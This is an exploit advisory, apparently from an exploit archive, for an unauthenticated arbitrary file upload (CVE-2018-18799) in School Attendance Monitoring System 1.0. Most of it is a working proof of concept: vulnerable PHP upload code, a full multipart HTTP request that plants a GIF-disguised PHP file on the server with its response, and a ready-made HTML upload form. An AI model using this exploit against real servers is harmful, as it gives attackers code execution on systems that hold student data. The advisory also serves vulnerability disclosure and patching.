School Attendance Monitoring System 1.0 Shell Upload

2018.10.30
Credit: Ihsan Sencan
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


Ogólna skala CVSS: 6.8/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# Exploit Title: School Attendance Monitoring System 1.0 - Arbitrary File Upload # Dork: N/A # Date: 2018-10-29 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://www.sourcecodester.com/users/janobe # Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/attendancemonitoring.zip # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: CVE-2018-18799 # POC: # 1) # http://localhost/[PATH]/event/controller.php?action=photos # GIFefe <?php ..... ?> # http://localhost/[PATH]/event/photo/[FILE] # #[PATH]/event/controller.php #.... #29 function doInsert(){ #30 if(isset($_POST['save'])){ #31 #32 #33 $errofile = $_FILES['image']['error']; #34 $type = $_FILES['image']['type']; #35 $temp = $_FILES['image']['tmp_name']; #36 $myfile =$_FILES['image']['name']; #37 $location="photo/".$myfile; #38 #39 @$file=$_FILES['image']['tmp_name']; #40 @$image= addslashes(file_get_contents($_FILES['image']['tmp_name'])); #41 @$image_name= addslashes($_FILES['image']['name']); #42 @$image_size= getimagesize($_FILES['image']['tmp_name']); #.... GET /[PATH]/event/controller.php?action=photos HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3 Connection: keep-alive Content-Type: multipart/form-data; boundary= ---------------------------3634372676911755021110261466 Content-Length: 617 -----------------------------3634372676911755021110261466 Content-Disposition: form-data; name="EventID" 1 -----------------------------3634372676911755021110261466 Content-Disposition: form-data; name="MAX_FILE_SIZE" 1000000 -----------------------------3634372676911755021110261466 Content-Disposition: form-data; name="photo"; filename="phpinfo_gif.php" Content-Type: application/force-download GIFefe <?php phpinfo(); ?> -----------------------------3634372676911755021110261466 Content-Disposition: form-data; name="savephoto" -----------------------------3634372676911755021110261466-- HTTP/1.1 200 OK Date: Sun, 28 Oct 2018 17:27:54 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 143 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 # POC: # 2) <html> <body> <form action="http://localhost/[PATH]/event/controller.php?action=photos" enctype="multipart/form-data" method="post"> <input name="EventID" id="EventID" value="1" type="hidden"> <input name="MAX_FILE_SIZE" value="1000000" type="hidden"> <input id="photo" name="photo" type="file"> <button name="savephoto" type="submit">Upload Photo</button> </form> </body> </html>


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